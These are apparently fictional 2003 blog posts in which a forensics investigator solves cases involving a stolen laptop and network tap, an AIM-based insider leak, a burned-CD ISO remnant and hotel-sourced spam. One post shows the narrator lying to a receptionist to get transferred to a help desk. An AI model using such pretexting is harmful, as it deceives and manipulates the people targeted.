Source: archived original

Part V · Aug 30, 2003

Things were getting more confusing by the second. I now had entirely too many questions and not enough answers.

Why was a private investigator pigeon-holed in a suite next to my doctor?

Why was this private investigator manipulating electronic records on the doc’s system?

Why not just pick the lock on the suite, bypass the alarm and do everything at the console? Or just steal the workstation? Or just steal the paper documents?

I was one confused monkey.

Two hours later, I had the laptop hard drive imaged. This was no easy task - the hard drive wasn’t easily removable. I had to take most of the laptop apart and use an adapter on the laptop drive so it would talk nicely to my ide ribbon cable.

I put the laptop back together, left everything as I found it, and called it a day.

Curiosity was killing me though, and I knew as soon as I returned home I’d be analyzing my recent hard drive capture…

After a fresh pot of coffee I began my examination of the encase drive image using FTK (Forensic Toolkit).

Aside from the usual porn site visits and some meaningless bantering in yahoo messenger, I wasn’t finding a lot… aside from a directory full of PGP-encrypted files that had sequential date filenames – and that’s what made my brain go click.

I picked up the phone and dialed the number I had copied off of the bottom of the laptop.

“I wonder if anyone has lost a laptop recently?” I mused.

The voice on the other end of the phone was James Newman, the owner of Newman investigations. I had never met James before, but I had read about his involvement in high profile investigations in the local metropolitan area.

As I suspected, James was missing a laptop - his laptop. It was stolen from his vehicle about three weeks ago.

James and I quickly agreed to meet for lunch to compare notes.

Perhaps things weren’t as complex as I was making them.

Or were they?

I met James at a burger joint twenty minutes from the doc’s office. James was nothing like I imagined - about five feet, five inches tall and a very portly fellow. Juding from how James demolished two gutbuster burgers and finished them off with cheese fries and two diet sodas, I could see why.

I brought James up to speed on what I was doing, the missing records, the mysterious pony-tailed man, the laptop, and the half-ass network tap that I found. James looked more perplexed the more I talked. He immediately asked me if I had attempted to open the PGP-encrypted files that I found.

I replied that I had not.

James looked relieved, took a deep breath, and began a long tale going back almost a year. My suspicions were correct - those PGP-encrypted files were James’s case notes from a current case he was working on. Apparently he was knee-deep in a PI’s paradise: a nasty divorce case. A wealthy husband was trying to divorce his wife. Wife hires newman to tail husband, suspecting infideliy. Newman finds out that the husband was indeed cheating on the wife, with an eighteen year old girl, about thirty years his junior. The girl was also three months pregnant.

Bells and whistles were going off in my head. I decided the best course of action was to work with James. James wanted to find out who the pony-tailed man was and how he came in possesion of James’s laptop.

“Wonderful.” I grumbled.

Yet another stakeout.

Source: archived original

Conclusion · Sep 2, 2003

Three days had gone by. James and I were learning things about each other that only two people cramped up in a car on a stakeout could learn. For instance, I learned never to let James eat any dairy products before beginning a stakeout. Evidently he is intollerant of all things cow.

On the fourth day, we struck gold. It was early in the morning, somewhere around 2am when the familiar VW bug pulled into the parking lot. James had his binoculars out, and in between creating his own cumulous clouds in the car and trying to drink MY coffee, he was humming some rediculous tune that sounded like a song from ‘Cats’.

As the subject exited the VW Bug, James focused his binoculars with an intensity I had only seen him have once before, and that was trying to get the top off of a pringles can.

“Unreal!” James gasped.

“What?” I asked him.

“Let’s move!” James said, pounding his hand on my dash.

I drove back to the side of the building, and parked my car as far out of sight as possible. James wanted to take this guy down commando style, judging from the weird gleam in his eyes.

I slid my keycard through the door access console, and James opened the door to the suite. I let James go ahead of me, following the lesser-known survival theory of “put the bigger guy in front of you”.

Peering over a pile of stinky moving boxes, we spied the subject hooking the laptop up the network and lighting a cigarette at the same time.

“This boy has talent” I joked to myself.

“Ready?” James mouthed as he gave me some weird hand signal that I had never seen before.

“Ok.” I mouthed back.

James approached the subject quietly, and after he was about 5 feet from the subject, announced in a booming voice “Hello Sergio!”

I froze. “James knows this guy? I can’t take any more surprises!” I screamed silently into the back of my teeth.

“Uh, what’s up Jim?” Sergio said as he sat down slowly, apparently forgetting that he had just sat the laptop on the same bucket ten seconds ago.

“Get off my laptop, fool. What the hell are you doing here, why did you take my laptop, and how the heck did you get in here?” James demanded.

Sergio sighed in contempt. “Dude, you KNOW why I took it, and I’m sure you KNOW why I’m here, so let’s stop playing games.”

“Pardon me, but what the (expletive) is going on here?” I asked. I felt like I was being dragged down a mountain slope head-first by man-eating elves.

“Sergio here is Beth’s ex-boyfriend.” James snapped back.

“Beth?” I asked.

“Beth is my client’s husband’s fling. The pregnant 18 year old girl.” James said.

My head was pounding. My specialty was computer crime, and this seemed more like a bad detective novel in a girly magazine (ed: not that I’ve ever read a girly magazine, mind you. Just what I’ve heard. grin)

Sergio proceeded to fill in the blanks under a brow-beating by James.

Sergio is a computer science student and amateur ‘hacker’ from the local university. Sergio and Beth had been together since they were 15 years old. Beth left Sergio for Newman’s client’s husband, which enraged Sergio. When Sergio found out that Beth was pregnant, he suspected that the baby might actually be his.

Apparently Sergio had a private meeting with Newman’s client and Newman’s client spilled the beans on Newman, asking Sergio to stay out of the investigation and let Newman do his job. Apparently Newman was taking too much time, hence Sergio’s theft of Newman’s laptop.

Sergio was frustrated that he couldn’t read the PGP-encrypted files on Newman’s laptop, so he decided to go right to the source: the doctor’s office. Through some cleaver social engineering, Sergio passed himself off as a telecommunications worker with the local phone company and acquired a master door card to the facility. (ed: Note that the facility did not program their cards correctly. The facility should have had a ‘vendor’ card to give Sergio which could have prevented him from using the card outside of business hours) He then performed the poor man’s network tap on the doc’s office. When I asked him about the network tap, he said it was a spur-of-the-moment thing, and he used the tools he had available to commit long-term surveillance of the computers.

I started my round of questioning. Sergio had gained access to the doc’s records system using the tap, however the application was password-protected. Good thing for Sergio that the doc’s office manager kept ALL the system passwords in a plain text file on her desktop! Sergio simply copied this file via windows file sharing. (ed: I later checked the file sharing settings on the XP machine in the doc’s office, and she did have full file sharing turned on with no permissions!)

I asked Sergio what he was doing in the records system. Sergio replied that he was searching for the medical records of Beth relating to her pregnancy, sexually transmitted diseases, etc. When I asked Sergio about the deleted records that the doc had told me about, he replied that the deletions were an accident, and the results of him learning the ins and outs of the system.

Conclusion:

Sergio was charged with several crimes relating to this incident, but later plea-bargained his way out of most of them in exchange for testimony relating to another crime.

Beth was indeed pregnant with Sergio’s baby. (per a paternity test)

Newman’s client divorced her husband and received a large sum of money in the divorce decree.

Newman received a hefty fee from his client. I never saw a penny of it.

The doc was so thankful for my help that he paid for my very first golf lesson.

I haven’t played since.

Source: archived original

04. Case of the Careless Whisper

Mon, 08 Sep 2003 00:00:00 +0000

Part I · Sep 8, 2003

“Jeezus, I’m going to be deaf before I’m 40!” I said to myself as the mesmerizing hum of the datacenter breezed into my ears. I was touring the ‘datacenter of the future’ thanks to a vendor that wanted my company’s business bad.

The datacenter had great physical security, including reinforced doors, magnetic card readers, biometric palm and finger readers, not to mention sound sensors in all areas outside of the datacenter.

“Wow, I hope the rats don’t get gas here.” I mused, imagining a bite of a Big Mac by a few rats causing widespread panic amongst the datacenter security folk.

I was busy wedging myself in between two large Sun E10k’s when my cell phone rang.

“Chief? You busy?” a familiar voice asked. It was the CTO of a company I had done a few jobs for in the past.

“I should hope so. You seen my coffee bill this month?” I joked back.

“We need you to help us with…. a little problem…” the CTO said in a hushed voice. After a quick lunch I headed over to “Simply Software Stuff”. The CTO, Joe, met me at the door.

I was ushered into a conference room where a fresh cup of Seattle’s finest coffee greeted me with a loving aroma.

“I LOVE you guys!” I said as I sipped the hot coffee goodness, complete with hazelnut flavoring.

“Chief, I’ll be frank with you. Things are grim. We’re less than 30 days away from launching our newest product, and some sources have told us that a competing company is releasing practically the same product in 2 weeks!” Joe exclaimed.

“Ah, perhaps a little birdy told them?” I mused as I studied Joe’s face. He was serious.

“Alright Joe, so what do you know? Where do I start?” I asked, halfway through my coffee.

“I have reason to believe that someone here is sharing code with XOR Corporation. I want you to prove it.” Joe said with a stern look on his face.

“XOR Corporation? Aren’t those the guys that are always 3 steps ahead of you? Are you thinking this has been going on for some time?” I asked.

“I’m afraid so.” Joe responded. “And it gets better. I believe the leaks are originating from within the office network while everyone is here… we’re talking communication with XOR minutes after crucial meetings.”

“How’s that?” I asked.

But before Joe could respond, I read his eyes plain as day.

Time for a very creative network tap.

Source: archived original

Part II · Sep 10, 2003

“Well, I certainly didn’t enter information security for the glamor.” I mumbled under my breath as I poked my head through a few ceiling tiles at the offices of SSS.

The challenge that Joe presented me with was going to be lots of fun. The majority of the staff members of SSS were hard-core techies, and they knew their stuff cold. The development team was first-rate, the network team consisted of a few published authors on network topology and design, and the sales people were… well, ok they were sales people. But I digress…

The time was 0100 hours, and the only other living soul in the building was a rather annoying cricket. I was looking in the ceiling of one of the conference rooms for an ideal place to drop my ‘package’. The package consisted of a freeBSD laptop with an extended-range 802.11b antenna (ed: 128-bit wep, etc) and a built-in ethernet adapter. The conference room I was in was perfect, because there was already a piece of conduit running down the wall to the network jack plate. I simply added another CAT5 cable of the same color (green) to the bundle, plugged in to an empty jack, and jury-rigged the power from an existing light receptacle.

This was getting to be rather fun…I then entered the network patch-panel room, and conveniently jacked my conference room jack into a port of the core network switch. Joe was nice enough to provide me with the appropriate passwords, so configuring a spanning port was a piece of cake. This little port was going to be busy!

After I dropped my ‘package’ into the ceiling of the conference room and patched myself into the core, I exited the same way that I came (the front door) and key-carded myself out as Joe. The alarm was automatically set and the lights dimmed in the building. Very cool.

I made myself comfortable in the front seat of my car, turn my ignition key to ‘auxillary’, and turned on my linux laptop. I had equipped my laptop with a custom-made RF antenna made from a coffee can, some coax cable and some glue. There are commercial solutions that look prettier, but none offered the reception that my home-brewed coffee antenna did. And the aroma… the aroma! Sweet, sweet columbian bliss!

Linux booted rather quickly on my laptop, and before I knew it I was sniffing and recording packets to disk thanks to ethereal, my tool of choice. After verifying that I had a working wireless sniffer setup, I shut my equipment down and dialed Joe on my cell phone.

“Yo.” Joe responded.

“It’s in.” I said.

“Excellent. You have three days, the guys in question work 10am to 7pm every day. Please prove me wrong Chief.” Joe pleaded.

“I’d like nothing better.” I said as I closed my cell phone.

Nothing better indeed.

Source: archived original

Part III · Sep 12, 2003

No more pastrami for me. My stomach was doing the leap-frog olympics as I sat in my car the next morning, watching network traffic scroll by on my screen.

“Wow, ten more seconds and Linda has won a perfectly good used VCR on ebay for $5!” I marveled.

A quick glance on my watch showed that the 1100 developer meeting was almost over… 1155 and counting.

Good thing this was a relatively small network, because I’m sure that my freeBSD laptop in the ceiling was going bonkers sniffing all of this traffic… My setup was pretty sweet. The freeBSD laptop had it’s ethernet interface in promiscuous mode. I was using a console-based sniffer app to slice the traffic from the wire and make some attractive looking packet dumps.

The wireless connection via another ethernet interface offered me an effortless ssh tunnel to the laptop from my linux laptop in the car where console and X-based apps were a snap to run remotely.

My cell phone rang.

“Chief, we’re out. Heads up. click”

Joe’s shortest conversation with me ever!

I added a few custom filters to ethereal and dug in for some fun.

Two minutes after Joe’s call, my custom filter for AIM (AOL Instant Messenger) was slapping red-colored fonts all over my laptop screen.

“Excellent.” I thought to myself.

My freeBSD laptop was running a slimmed-down mysql database, apache webserver, and a little app called ‘aimsniff’. Aimsniff was plucking the AIM messages from the network traffic and inserting them into a mysql database, recording userid’s, messages, date/time stamps, the whole shabang.

“God I love free software!” I said as I brought up Mozilla and connected to the web server on my freeBSD laptop.

Aimsniff was scrawling out a conversation at lightening speed:

dotnetd00d: the design changes are staying in. looks like it won’t hurt anything. t1g3r666: cool. so how did you guys get around the software activation problem that came up in UAT? dotnetd00d: i dunno. jack handled that - he just recoded it. i’ll get the changes for you tonight before I leave t1g3r666: alright. save me time on doing it haha dotnetd00d: are you still on for 2 fridays? t1g3r666: yeah we are launching on schedule. bonus check in the mail like promised dotnetd00d:k dotnetd00d: i want the other half soon. i owe $$ to the x t1g3r666: ok i c what i can do t1g3r666: dont’ forget the changes on p.a. dotnetd00d:not to worry - gotcha covered t1g3r666:k - l8tr

A quick cut-n-paste from Mozilla into openoffice saved conversation 1.

Now to zero in on dotnetd00d. And fast.

Source: archived original

Part IV · Sep 15, 2003

Samba is my friend. Not only does it allow windows and unix boxes the ability to share files and resources, but it comes with a lot of great tools like nmblookup. Aimsniff is smart enough to be able to use samba to gather the windows workstation name of any chatters on the network segment being sniffed. It would appear that dotnetd00d was using a windows workstation called ‘dev07’.

“Surely it couldn’t be this simple.” I muttered under my breath. That’s as smart as prank-calling 911 from your home phone.

A quick nmblookup -A dev07 showed a user logged in named tester04.

“Dagnabit!” I hissed. As I suspected, the machine had a generic userid logged in.

I had to wonder if that id was assigned to a particular user or group of users, and who knew the passwords… I buzzed Joe on the cell phone.

ring

“Chief!” Joe exclaimed in my ear.

I gave Joe the low down.

“Give me some time to lookup that information on the accounts and I’ll get right back to you.” Joe said as he closed the phone connection.

I spent the next few hours nursing a splendid house blend of coffee at a local eatery reading the news on my linux laptop and complimentary 802.11 connection. My gut was churning, and I knew it wasn’t from the heavenly brewed bliss that I was sipping. Something about this SSS case didn’t feel right.

I’ve busted a lot of stupid computer criminals, but none gave me this feeling. I had to ask myself a lot of hard questions.

Why would a mole choose to communicate with a competitor via an insecure protocol like AIM? Why not just pick up the phone? Why not wait and meet after work? Why take the chance of being monitored at work?

ring My cellphone was performing a wonderful melodic rendition of a Mozart composition.

“Chief. " I announced into my phone.

“It’s Joe. Here’s the deal on the accounts. That machine is in our development lab - the same lab that we develop all our software on. That lab has no outbound firewall restrictions on any machines in that subnet. The userid’s are generic and are written on sticky pads stuck to the monitors. Anyone that walks into the lab can sit down and login.”

The sound of my hand slapping my forehead was so loud that the eatery customers around me thought I was having a seizure. I was stunned!

“Joe, this is going to add a layer of complexity to the investigation.” I said.

“I know, not the most secure practice in the world, but we didn’t feel there were a lot of risks in a testing environment.” Joe responded.

“Can I get physical access to your building again?” I asked.

“When?” Joe queried.

“Tonight.” I said.

I confirmed with Joe that my keycard would still work in the SSS building and told him that I’d update him later.

As quick as I hung up on Joe, I speed-dialed another number on my phone.

“Larry here. How can I help you?” echoed a voice from the receiver.

“Larry? Chief here. I need some toys.” I said.

“Hey Chief! Cool! What kind of toys are we talking? Microphones? Infrared sensors? What?”

“Mini-cams. And lots of them.” I said.

Time to kick things up a notch.

Source: archived original

Part V · Sep 18, 2003

My watch read 0430 hours. I was out of coffee.

ACHOO!

I was sneezing my head off placing (sample product, not the one used in this case file: mini-cams) into the ceiling tiles of a few rooms in SSS. I was drilling small holes into the ceiling tiles so that the mini-cam lenses would have an adequate view of the room being monitored. The dust from the tiles was clogging my nose and making quite the mess on the floor. Lucky for me SSS had a well-stocked cleaning cabinet.

I installed cameras in the main conference room, the development lab, and above the developer cube farm. The camera power supplies were patched into power using the same method as the laptop - creative use of light fixture power.

I then proceeded to an empty storage room towards the back of the building that was to be my home for a while… The cameras worked by broadcasting an image using radio frequency over various channels. The receivers for these cameras had RCA Video Outputs, which I then plugged into 3 VHS VCR’s which were recording the image. The VCR’s provided RCA Video Out as well, which I fed into three monitors. Next to the three monitors sat my loyal companion… my wireless linux laptop.

A critical product development meeting was about to take place in five hours. My goal was to correlate visual images and locations of individuals with the conversations streaming accross my aimsniff session monitor.

I buzzed Joe on his cell phone.

“This is Joe. " he announced.

“Joe, Chief here. I’m ready to go.” I said.

“Are you recording everything?” he asked.

“I will be once that front door gets unlocked at 7AM” I responded.

“I’m nervous man. Good luck. I guess you’ll be ‘seeing’ me around 8AM at the meeting.” Joe blurted as he ended our discussion.

HE’S NERVOUS? I’m the one in a storage room monitoring hidden cameras, internet connections and I have no coffee. I’M NERVOUS.

0700 hours rolled around and I started my recording sessions. Surprisingly, almost all of the employees were in the office and working at 0730 hours.

“Now that’s loyalty to getting a product out the door.” I mused as I tried to drink from my empty coffee cup.

0800 hours appeared and all of the key staff members that Joe mentioned were in attendance in the conference room. I had a great ‘God’ shot of the room, and the only face I couldn’t see on camera was Joe’s, since he decided to sit directly underneath where I planted my camera. Dumb luck I suppose.

The internet connection at the office was virtually silent aside from some SPAM mail and a receptionist that was going hog-wild on eBay.

The meeting broke around 0945 hours, and the only person remaining in the conference room was Joe. All of the developers returned to their cubes after quick trips to the restroom, and the lab was empty.

1015 hours and dotnetd00d makes his appearance on AIM. t1g3r666 showed up as the only buddy in dotnetd00d’s buddy list again, and was immediately responsive to dotnetd00d’s messages.

Strange.

The conference room was empty. The cubes were full of developers. The lab was empty.

What the…

Then it hit me. I had made an amateur mistake right out of the barn door. I returned to my friend Ethereal the network traffic analyzer and there I saw it… activity on port 58000.

Someone was using VNC to run AIM on a lab machine.

I had their IP address. And nmblookup -A xxx.xxx.xxx.xxx gave me their real username.

Joe was never going to believe this.

Source: archived original

Conclusion · Sep 19, 2003

An eternity seemed to pass between the time that I buzzed Joe on his cell phone again and the moment that he appeared in my hideaway of a storeroom.

“No way.” Joe said as he closed the door behind him.

“No, no way.” Joe repeated as he sat down next to me.

I turned my laptop slightly to the right so that Joe could see the console window I had open, and the output from the nmblookup command glowed in a soft green font on a dark black background.

jhayword

“Janice Hayword!” Joe said, pounding his fist on the table. “My personal assistant of three years is a mole?“Joe and I poured over hours of network traffic, and the rest of the traffic was consistent with Janice being logged on to her workstation.

Joe left the storeroom in a huff, and headed straight for Janice’s cubicle.

He approached Janice’s cubicle quietly, and peered over the 5-foot wall of the cubicle so that he could catch a glimpse of her monitor screen. Sure enough, she had VNC loaded, and was chatting in AIM.

Summary:

Remember earlier in this case file when I said that everyone at SSS was technically proficient? Janice was no exception. She was studying computer science at the local technical school, and was continuing to stay employed as Joe’s personal assistant to pay the bills.

Janice was recently divorced and owed her ex-husband a large amount of money due to the arrangements of their divorce decree.

Janice knew a few key people at XOR Corporation from trade shows. She had been approached by a VP of Engineering at XOR during one such tradeshow after overhearing Janice and her ex-husband having a conversation on Janice’s cell phone. The VP offered a sizable amount of money for information regarding SSS’s products, development cycle, release dates, features… even source code.

Janice had physical and technical access to almost all of the systems at SSS. Due to poor security in SSS’s lab environment, she was able to copy and burn CDR’s of information at will and use a tool like VNC to connect to the internet via AIM.

Janice was summarily fired from SSS. Litigation is still pending on this case.

SSS was hit with the clue banana pretty hard in this case. They have since taken a much stronger interest in the security of their people, systems and intellectual property.

~ SecMonk

Source: archived original

05. Case of the CFO CD

Mon, 06 Oct 2003 00:00:00 +0000

Part I · Oct 6, 2003

“Texas? You want me to fly to Texas?” I chimed into my cell phone. “It’s frick’in humid in Texas!!”

I had been called in the late afternoon on a Friday by a ‘friend of a friend’ – industry talk for a confidential referral that involved a large retainer fee. The case was hush-hush, and nobody was giving any details.

I hopped the next available plane to Texas, which happened to be at 0400 hours.

“Nice.” I whined to myself, not looking forward to the body cavity search at the airport security checkpoint.

Before I knew it, the pain of the cavity search had subsided and I was wheeling a rental car down a Texas freeway headed toward Mechanical Inc.’s headquarters building… The building was a large high-rise covered in glass panels, and came conveniently with Valet parking.

“Try not to scratch it.” I joked to the Valet as I tossed him the keys to the rental.

Apparently someone had warned the receptionist in the building to be on the lookout for a chimp-like human that had an appointment with the C-level executives. I was rushed into an elevator and tens of stories later I was escorted by plain-clothes security guards into a lavish boardroom, complete with a wetbar and two pots of fresh, hot coffee.

“Jamaican Beans!” I exclaimed as I inhaled the mighty putrid aroma eminating from the pots.

“You know your coffee.” said a voice from behind the large mahogany conference room table. “But do you know anything about finding a needle in a haystack?”

“You could say that.” I replied, remembering the last time I searched for a shred of compassion while waiting in line at the Motor Vehicles Division.

“Chief, my name is Samuel Johanson. I am the CEO of Mechanical. To my right is our CIO, Michael Dickens, and to my left is Terry Gaim, Corporate General Counsel.”

Nods were exchanged around the room.

“So,” I began. “What’s the needle, and where’s your haystack?”

“I can answer that.” Terry announced after removing her glasses and letting them drape around her neck from a bright blue cord.

“Three months ago during a Corporate Compliance Audit, we discovered that our CFO at the time, Janice Wheatherly, was moonlighting as a financial advisor for a subsidiary of one of our competitors - NutsAndBolts, Inc. We confronted Janice about it, and she denied any involvement with the company. Our sources indicated that Janice was collecting fees from NAB, and was attending meetings at restaurants with NAB executives until the early hours of the morning. Corporate Security followed Janice and validated the information. We terminated Janice the very next day.”

“And the needle?” I begged.

“Ah, yes. Our human resources department and corporate security department had a miscommunication, and Janice was able to reenter the building, copy files to her laptop, burn them to CD, clean the laptop and then leave the building with the CD media before we knew what was going on.” Terry said.

“Ok, so I have to ask. How do you know that she burned files to CD media?” I asked.

Michael shuffled in his seat and said “All of our executive offices are monitored by CCTV (closed circuit television). We played the tape back and observed Janice placing CDR media into her laptop. Data Security has already confirmed that her network account accessed very sensitive files on the network at that time.”

“So you want me to prove that the files were actually copied to CDR media, thus substantiating your claim that she removed confidential records from the company after being terminated.” I deduced.

“Bingo.” Samuel said. “Our Data Security guys have been all over her laptop, and they can’t find any proof.”

“Samuel, do you have a lot of those Jamaican coffee beans?” I asked.

“Uh, sure?” he replied.

“I’ll need another pot of coffee and someone to show me Janice’s office.” I demanded.

Needle hunting is hard work.

Source: archived original

Part II · Oct 8, 2003

“I love efficiency!” I announced as I examined the accumulated digital evidence that Mechanical’s Data Security department provided me. They had really done their homework all the way around.

Bill, the Chief Investigator , had provided me with an enCase image of Janice’s laptop drive, a listing of all directories and files (with attributes preserved) on the file server that Janice supposedly accessed, and a copy of the digital video from the CCTV system.

“Bill, you’re telling me that your team has gone over this image with a fine tooth comb and there’s no trail to the CD burning?” I asked.

“Yep, the trail ran cold during the last examination of the enCase image. We have enough evidence through the usual places in the windows file system to prove that she logged in and copied some files around, but nothing that proves that she burned the files to a CDR.” Bill said, taking an almost embarrassed tone with me.

Bill left me to my work in a very comfortable office on the executive floor. I cracked my knuckles and turned Roscoe (my portable forensic workstation) on. Roscoe booted up rather swiftly, almost like he was eager to get on with the investigation…For nearly twenty hours I combed the contents of Janice’s hard drive in the enCase image. I was looking so hard for that needle that my vision was becoming a little blurry - although that could have been from the instant coffee that I was forced to drink a few times thanks to the coffee room auto-locking at 2000 hours. That’s a crime in itself.

I was beat. I was spent. I wasn’t finding anything. The CD burner software was there, and the FAT32 partition of this Windows 2000 laptop wasn’t telling me anything.

One of the duties of a forensic investigator is to be completely impartial through all investigations, and my gut was telling me that the needle didn’t exist.

“Too bad I’m not looking for a spoon. Maybe Keanu Reeves could help me out.” I mused, having a flashback from The Matrix.

The C-level executives were expecting a briefing tomorrow morning, and I had a feeling I wasn’t going to give them the answer that they wanted.

SecurityMonkey was out of clue bananas - and at a most inopportune time.

Source: archived original

Conclusion · Oct 10, 2003

The morning came fast. I had barely cracked open an eye in my hotel room when I noticed that I was going to be late for my meeting with Mechanical’s executive team unless I skipped one part of my morning routine.

I chose shaving. I certainly wasn’t going to be missing my cup of coffee at the nearby Starbucks. Pashaw.

I made record time in traffic, and appeared in front of Mechanical’s receptionist with two minutes to spare.

Plainclothes security escorted me again into the elevator. It was like being a movie star, only without the movies, the money or the star status.

I couldn’t stop thinking about my investigation, about Janice, and about the briefing I was about to give the Mechanical team. The CCTV clearly showed Janice inserting what appeared to be a blank CD-R into her laptop - but I had to PROVE that she transferred files onto the CD-R. By the results of my findings, I could not tell them that Janice burned the files onto a CD-R.

And then suddenly, it hit me… Years of working with linux and command-line CD-burning software flashed before my eyes as an idea smashed its way into my cranial cavity.

I apologized to the Corporate Security personnel and asked if I could return to the reception level. I then informed the receptionist that my meeting would need to be delayed until after lunch time.

I quickly drove back to my hotel, whipped Roscoe out from the trunk and entered my room. After a few minutes, Roscoe was up and running and I was examining the file system of the laptop one more time.

What was I looking for? Application swap. Almost all CD-burning applications write the destination CD image to a swap image (most of these are ISO files) before burning to a CD-R to prevent problems with the burn. I had looked the application directory and subdirectories up and down, but hadn’t found anything interesting - but we’re talking Windows here. Time to bet some money that the application developer had decided to use the system ’temp’ directory. Most of the time, I’d be looking in C:\WINDOWS\TEMP, however the laptop image notes that Mechanical’s Data Security folks had given me showed that the system temporary directory was set to C:\TMP.

Glancing through C:\TMP, there were lots of files - and a quick sort by date showed me three files that still retained the mystery date that Janice had supposedly burned the CD-R. I had seen these files before during my intial investigations, but I couldn’t make sense of the file structure - it looked like one large binary file.

Taking a gamble, I exported the file from the image and burned it onto a CDR. Throwing the CD-R into my linux laptop, I mounted the file using the loopback device to /mnt/image. My pulse quickened as I changed into the /mnt/image directory and issued the standard ’ls -la’ command.

Paydirt.

The ‘binary file’ was actually an ISO image that was created by the application shortly before the burn process. All of the filenames and filesizes that Mechanical had provided me matched the directory listing to a proverbial ’ T ‘.

My meeting with the Mechanical management team was going to be quite different than initially anticipated.

Management team mangled by clue banana. News at 11.

Source: archived original

06. Case of the Drive-By-Spammer

Wed, 15 Oct 2003 00:00:00 +0000

Part I · Oct 15, 2003

Saturday mornings are one of the true pleasures in life. There’s nothing like waking up, making a fresh pot of coffee from ground organic Peruvian coffee beans, mixing in a creamy stream of Hazelnut flavoring and a dash of skim milk for texture, and then sitting in front of my beloved Powermac and catching up on e-mail, news and a little bit of work.

Minutes after loading up MailApp and connecting via imap/ssl to my mail server, one particular e-mail caught my eye - it was from the owner of a local ISP that I had befriended at a technology expo many years ago.

The e-mail was quite enthralling: _ Chief,

Sorry this isn’t a howdy-do e-mail. I have a problem that I think you may be able to help me with. I’ve lost your cell phone number, so sorry about the long e-mail.

As you know, we host a very large mail cluster that hosts approximately 3000 domains. On average, we receive about 12000 spam e-mails a day. Over the past two weeks, this number has jumped to 110,000. Our servers are so busy receiving all of this spam mail and pushing it through spam filters that we’re contemplating adding more machines to the cluster to help lessen the load. Unfortuantely, the number of spam e-mails is growing every day. This morning we received almost 150,000!!

Our security analysts have examined a lot of the e-mails, but they haven’t come up with much.

This is where you come in.

Help me obi-monkey, you’re my only hope!

Call me at XXX-XXX-XXXX asap.

Dick H. _

“Sure” I thought to myself. “Right after I have my second cup of coffee goodness.” I mused.

SecurityMonkey is on the case.

Read Part 2 >

80422-060801-721352-51

Source: archived original

Part II · Oct 17, 2003

Lucky for me, the drive to Cranial-Link (CL) was less than an hour in Saturday traffic. Their office was located close to a local university, so needless to say coffee shops were in abundance.

I entered the lobby of CL with a 16oz cup of joe in one hand and my laptop bag in the other.

No receptionist to be found.

“Oh yeah…” I thought. “It’s saturday - where the heck is Dick?” I pondered.

The lobby had three doors - one to the outside (that I just came in), one to what looked to be a restroom, and the last being a high-security door with a badge and palm reader attached to the wall.

BEEP!

A loud chirp caught my attention as Dick entered the lobby from the datacenter security door.

“Hey stranger!” he yelled as he helped me with my laptop bag. “This way…” he trailed off as he escorted me into the datacenter…

“Nice flypaper.” I joked as I walked through two feet of anti-static/dust matting on the floor. These guys were serious about a clean datacenter.

We were seated in a medium-sized conference room for a few minutes catching up on recent events when we were joined by Mark & Mike, the security analysts for CL.

“Mark, Mike… bring Chief up to speed on where we’re at.” Dick said as he attempted to drink out of my Starbucks cup.

“Get your own!” I screamed as I snatched the cup from his hand. Why is it that people want to drink MY coffee?

“Hi Chief. Mark wrote a shell script that drilled down into about half a million spam emails and did some data extraction and correlation of header/content components. Here’s the results.” Mike said as he turned our attention to the powerpoint presentation now showing on the conference room wall. The slide gave everyone a good glimpse at the frequency and source IP address ranges of the spam messages.

“Fascinating.” I accidentally said out loud.

“What?” Dick asked, sipping HIS coffee.

I popped open my linux laptop and took advantage of the ethernet cable that Mike offered me earlier.

“WHAT????” Dick asked.

“Hold on and I’ll tell ya.” I snapped back. People are so impatient these days.

“I hate it when you do that.” Dick remarked.

“Ok, who has the largest vehicle in the parking lot?” I asked.

“Uh, I would guess me.” Dick answered. “My suburban dwarfs anything out there. But what does that have to do with the price of tea in China?”

“We’re going for a ride.” I responded back. “But first, lunch.”

Tracking down spammers makes me hungry.

**Read Part 3 >

< Back to Part 1**

Source: archived original

Part III · Oct 20, 2003

Decaf.

Of all the restaurants near the CL building, these geniuses had to pick the one that was out of regular coffee and only had decaf.

Thank goodness for Coca-Cola. I had to make sure I was perky for the next leg of the investigation.

“Okay, now that I’ve fed you - what gives, Chief? Where are we going?” Dick asked as he lit up a menthol cigarette and made smoke rings the size of my head. We were walking back to his Suburban with the Mike & Mark show bringing up the rear.

“WE aren’t going anywhere. I have a hunch about something that I need to check out. Drop me off at my car and I’ll call you in a few.” I said.

“You’re a real piece of work, Chief.” Dick said under his breath…(Note)

While I was in the meeting with Dick & team, I had noticed something interesting about the statistics on the powerpoint presentation. A large amount of the spam email was originating from a particular subnet - a /26 net to be more accurate. This told me right away that either the spammer bought/rented a new ip block, or he was using someone else’s at will without their consent.

According to ARIN, that subnet actually belonged to a company and it wasn’t an internet service provider - it was a hotel chain!

(End Note)

After climbing into my car, I drove back over to the local Starbucks and used their wireless network connection to do a few more steps of research. I needed an I.T. contact at International Stars Hotels. Their website wasn’t much help, but I did find a number for interested investors.

“Surely they couldn’t refuse my $2.50 in my pocket!” I mused.

A quick call to the number listed on the website connected me to a very sultry-sounding woman named Christy.

“Um, hi - I was trying to reach your IT department.” I said in my best nerd voice.

“Who are you?” Christy asked.

“I’m a security consultant and I need to talk to your IT department about some unauthorized usage of your network.” I said.

“I’m not allowed to transfer anyone directly - you need to call the main number.” Christy snapped and hung up.

Some companies make helping them so hard. sigh Since Christy wasn’t giving up the goose on what that magical number was, I was going to have to work for it - and use some tricks from individuals that I track down and have prosecuted.

I ran into Starbucks for a caffeine fix, was back to my car in ten minutes and I picked up my cell phone again. This time, I was using my command voice.

“Hi Christy.” I began. “I think your our phone system is screwed up. I was being transferred to the help desk. Can you transfer me?”

“Um, I don’t have time to look up their extension - look it up in the directory.” Christy said as she hung up.

My relationship with Christy wasn’t over yet. I dialed her number again sixty seconds later.

“ISH - this is Christy.” was her familiar greeting.

“Hi Christy! I got transferred to you again! Grrrr! I think the phone system is screwed up.” I said.

“Jeezus, I swear I’m never going to get this TPS report done. HOLD-ON.” Christy snapped. A few touchtones and a click and I was transferred to… the help desk.

Works every time. Perhaps I should engage the CSO of ISH about some anti-social engineering training? Maybe get Christy an assistant?

Now… to locate their data security department and get some work done.

Clutching the clue banana in one hand and my cell phone in the other, I waited patiently for the next available help desk agent to help me… and themselves.

**Read Part 4 >

< Back to Part 2**

Source: archived original

Part IV · Oct 22, 2003

My ears were in pain - horrible, horrible pain. The hold music for the ISH help desk was a mixture of elevator jazz and Martha Stewart commercials. The Middle Ages knew not torture of this magnitude.

